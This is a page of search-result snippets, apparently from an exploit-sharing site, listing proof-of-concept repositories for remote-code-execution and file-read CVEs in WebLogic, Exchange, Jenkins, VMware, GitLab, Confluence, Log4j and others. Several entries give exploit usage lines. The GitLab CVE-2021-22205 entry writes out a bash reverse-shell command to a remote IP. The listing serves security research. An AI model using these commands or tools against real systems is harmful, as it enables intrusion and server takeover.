533740 matches found
weblogic2021
This project is intended for security research and authorized use only. Users are responsible and obligated to comply with local laws and regulations. weblogic2021 CVE-2021-1994, CVE-2021-2047, CVE-2021-2064, CVE-2021-2108, CVE-2021-2075, CVE-2019-17195, CVE-2020-14756, CVE-2021-2109 7 critical...
CVE-2022-41082
CVE-2022-41082 This repository contains a proof-of-concept PoC tool for exploiting the OWASSRF vulnerability CVE-2022-41082 in Microsoft Exchange servers. The exploit allows attackers to execute arbitrary commands on the server, potentially compromising the system. Overview The tool leverages an...
Spring4Shell-CVE-2022-22965
Spring4Shell: CVE-2022-22965 RCE Java Spring framework RCE vulnerability These vulnerabilities affects a component "Spring Core" — the heart of the framework Current conditions for vulnerability:- JDK 9+ A vulnerable version of the Spring Framework 5.2 | 5.2.0-19 | 5.3.0-17 Apache Tomcat as a...
CVE-2023-50164-POC
This is a Proof of Concept PoC for CVE-2023-50164, which outlines a new path traversal vulnerability which can lead to Remote Code Execution RCE in struts-core. To remediate the issue, it is advised that you update to Struts 2.5.33 or Struts 6.3.0.2 or greater. This repo builds off the excellent...
CVE-2018-1000861
CVE-2018-1000861 Simple script to exploit CVE-2018-1000861, written in Python 3 Usage: root@kitploit: usage: exploit.py -h -u URL -c CMD -r -i IP -p PORT -v options: -h, --help show this help message and exit -u URL, --url URL Target Jenkins server -c CMD, --cmd CMD Command to execute -r,...
CVE-2024-23897
CVE-2024-23897 Jenkins RCE Arbitrary File Read CVE-2024-23897 Usage: python poc.py http://127.0.0.1:8888/ /etc/passwd Update: Update to Jenkins 2.442, LTS 2.426.3 Fix: If you can't update to the latest version, disable access to the CLI, this should completely eliminate the possibility of...
CVE-2021-21978
CVE-2021-21978 Exploit script with echo back, a simpler way 0. Vulnerability Information The VMware View Planner Web management interface has an entry for uploading log functionality files, which requires no authentication and the log file path written is user-controllable. By overwriting the...
CVE-2025-55182
React2Shell CVE-2025-55182 - Proof of Concept A comprehensive proof-of-concept exploit and educational resource for CVE-2025-55182, a critical remote code execution vulnerability affecting React Server Components with a CVSS score of 10.0. Legal Disclaimer FOR EDUCATIONAL AND AUTHORIZED TESTING...
CVE-2021-21985_PoC
Vulnerability Details VMWARE VCENTER SERVER VIRTUAL SAN HEALTH CHECK PLUG-IN RCE CVE-2021-21985 The vSphere Client HTML5 contains a remote code execution vulnerability in a vCenter Server plugin. A malicious actor with network access to port 443 may exploit this issue to execute commands with...
CVE-2021-41773
CVE-2021-41773 Usage root@kitploit: docker-compose up -d --build vuln-server-no-cgid python no-cgid/exploit.py root@kitploit: docker-compose up -d --build vuln-server-cgid-sh python cgid-sh/exploit.py What is CVE-2021-41773? CVE-2021-41773 Directory traversal vulnerability in Apache HTTP Server...
CVE-2024-4323-Exploit-POC
CVE-2024-4323-Exploit-POC This proof-of-concept script demonstrates how to exploit CVE-2024-4323, a memory corruption vulnerability in Fluent Bit, enabling remote code execution. CVE-2024-4323 is a memory corruption vulnerability in Fluent Bit versions 2.0.7 through 3.0.3. The issue resides in th...
CVE-2021-22205-getshell
CVE-2021-22205-getshell CVE-2021-22205-getshell Tested Version Generate the exploit command root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh Use djvumake to generate the exploit image root@kitploit: import os payloads= "echo 'bash -i...
CVE-2022-26134
CVE-2022-26134 PoC Confluence Server and Data Center - CVE-2022-26134 - Critical severity unauthenticated remote code execution vulnerability PoC Severity Atlassian rates the severity level of this vulnerability as critical, according to the scale published in Atlassian severity levels. All...
CVE-2020-1350-Fix
KB4569509: Guidance for DNS Server Vulnerability CVE-2020-1350 Introduction On July 14, 2020, Microsoft released a security update for the issue that is described in CVE-2020-1350 | Windows DNS Server Remote Code Execution Vulnerability. This advisory describes a Critical Remote Code Execution RC...
CVE-2026-69486
Heap-based buffer overflow in Microsoft Edge Chromium-based allows an unauthorized attacker to execute code over a network...
CVE-2020-1048
CVE-2020-1048 POC exploit code for CVE-2020-1048PrintDemon Vulnerable Systems All Windows version below mentioned in the link are vulnerable: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1048 Steps to reproduce 1. Change the variables gPortName and gInputFile presen...
Microsoft-CVE-2022-26809-The-Little-Boy
Microsoft-CVE-2022-26809-aka The Little Boy - POC The poc for CVE-2022-26809 RCE via RPC will be updated here. We are in the process of identifying the vulnerable code and share the simplest one-click RCE here...
CVE-2022-22954
CVE-2022-22954 PoC VMware Workspace ONE Access and Identity Manager RCE via SSTI. CVE-2022-22954 - PoC SSTI Usage: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file |...
Log4Shell-CVE-2021-44228
Exploiting Log4Shell CVE-2021-44228: A Complete, Modern Demonstration Lab Log4Shell CVE-2021-44228 is one of the most impactful remote code execution vulnerabilities ever disclosed. It affects Apache Log4j 2 , a widely used Java logging framework, and allows attackers to execute arbitrary code by...